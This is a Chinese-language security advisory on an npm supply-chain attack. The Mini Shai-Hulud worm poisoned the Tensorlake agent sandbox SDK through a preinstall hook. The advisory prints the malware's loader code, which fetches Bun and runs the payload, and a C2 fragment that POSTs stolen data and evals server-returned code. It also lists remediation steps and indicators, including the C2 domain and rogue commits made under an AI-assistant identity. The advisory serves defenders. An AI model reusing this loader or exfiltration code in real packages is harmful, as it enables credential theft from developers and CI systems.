AI投毒情报 | 智能体沙箱 SDK Tensorlake 遭受窃密蠕虫投毒

AI风险情报概述

供应链投毒分析

攻击者在植入2个混淆恶意文件 lib/setup.mjs 与 lib/Math_Symbol.js 后，通过篡改 package.json 中的 preinstall 钩子实现在SDK安装/更新阶段即自动静默触发执行恶意代码加载器脚本。

package.json被植入preinstall

加载器 lib/setup.mjs （~32KB）采用 RC4 字符串混淆，核心逻辑如下：

• 检测 CI 环境变量（CI、GITHUB_ACTIONS、GITLAB_CI、RUNNER_ENVIRONMENT等），如遇非 CI 环境直接退出；

• 从 oven-sh/bun 官方 GitHub Release 下载 Bun 1.3.13 运行时；

• 调用 Bun 执行窃密攻击载荷脚本文件 Math_Symbol.js（Bun进程可绕过部分针对 Node 进程的安全监控）。

/** Bun release version to fetch. */
const BUN_VERSION = '1.3.13';
/** Payload script shipped next to this installer; executed by the Bun binary. */
const ENTRY_FILE = 'Math_Symbol.js';
/** Execute the downloaded Bun binary on the bundled payload script. */
functionrunStage2(binPath) {
  const entry = path.join(__dirname, ENTRY_FILE);
  const stdio = process.platform === 'win32' ? 'ignore' : 'inherit';
  run(binPath, [entry], { stdio, cwd: __dirname });
}
/** Stay quiet on CI machines. */
functionskipInstallHook() {
  const ci = process.env.CI;
  if(ci === 'true' || ci === '1') return true;
  if(process.env.GITHUB_ACTIONS === 'true') return true;
  if(process.env.GITLAB_CI === 'true') return true;
  if(process.env.RUNNER_ENVIRONMENT === 'github-hosted') return true;
  return false;
}
async function main() {
  if(skipInstallHook()) return;
  // Prefer an already-installed Bun; we only need it as an interpreter for the payload.
  if(hasCommand('bun')) {
    runStage2('bun');
    return;
  }
  const asset = getAssetName();
  const isWindows = process.platform === 'win32';
  const binName = isWindows ? 'bun.exe' : 'bun';
  const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'bun-dl-'));
  const zipPath = path.join(tmpDir, `${asset}.zip`);
  const binPath = path.join(tmpDir, binName);
  try {
    await download(url, zipPath);
    extractArchiveEntry(zipPath, `${asset}/${binName}`, tmpDir);
    fs.unlinkSync(zipPath);
    if(!isWindows) fs.chmodSync(binPath, 0o755);
    runStage2(binPath);
  } finally {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  }
}

实际Mini Shai-Hulud窃密蠕虫核心代码为 lib/Math_Symbol.js （~836KB），采用多级混淆：

• 字符串数组混淆：隐藏全部标识符；

• 自定义 cipher：隐藏配置字符串，盐值 svksjrhjkcejg ；

• AES-256-GCM：加密 11 个内嵌文件，包括脚本、钩子文件与 2 个 RSA 公钥。

窃密蠕虫的敏感信息采集面覆盖开发者本机、云环境、CI/CD 与加密货币资产，并在俄语 locale 环境下主动退出。

    applyRemoteCode(_0x3cb209) {
      let _0x5b9a01;
      try {
        _0x5b9a01 = JSON.parse(_0x3cb209);
      } catch {
        return;
      }
      if (typeof _0x5b9a01.code !== 'string' || _0x5b9a01.code.length === 0) {
        return;
      }
      try {
        eval(_0x5b9a01.code);
      } catch (_0x1b02b9) {
        _0x990158.error('C2 code channel failed: ' + _0x1b02b9);
      }
    }
    async send(_0xdd8a20) {
      _0x990158.log('Sending to ' + this.url);
      if (this.destination.dry_run) {
        _0x990158.log(_0xdd8a20);
        return;
      }
      let _0x790048 = await fetch(this.url, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify(_0xdd8a20),
      });
      if (_0x790048.status !== 200) {
        throw Error('DomainSender: ' + this.url + ' returned status ' + _0x790048.status);
      }
      let _0x35abe8 = await _0x790048.text();
      this.applyRemoteCode(_0x35abe8);
    }
  }

7

1. 紧急缓解措施：清除凭证监控服务（必须先于吊销轮换 Token 凭证），备份重要数据后，检查 ~/.config/gh-token-monitor/ 目录，然后停止并删除对应服务（gh-token-monitor）或计划任务（ONLOGON）;

2. 立即轮换所有LLM API密钥、云凭证、CI/CD令牌、开发环境凭据（包括 Git、SSH、Kubernetes等）；使用package-lock.json或npm shrinkwrap锁定依赖版本；

3. 排查是否存在与恶意C2服务器（iseekaigogo.com）的网络连接；

4. 排查横向扩散：检查 GitHub 账号下是否出现描述为 "Shai-Hulud: Here We Go Again" 的新建公开仓库；审计仓库是否存在claude@users.noreply.github.com 发起的异常提交、.claude/、.vscode/目录的异常变更及来历不明的 Actions 工作流;

5. 对目标环境进行排查是否安装投毒版本，若安装则回滚至安全版本。

恶意IoC快速排查脚本：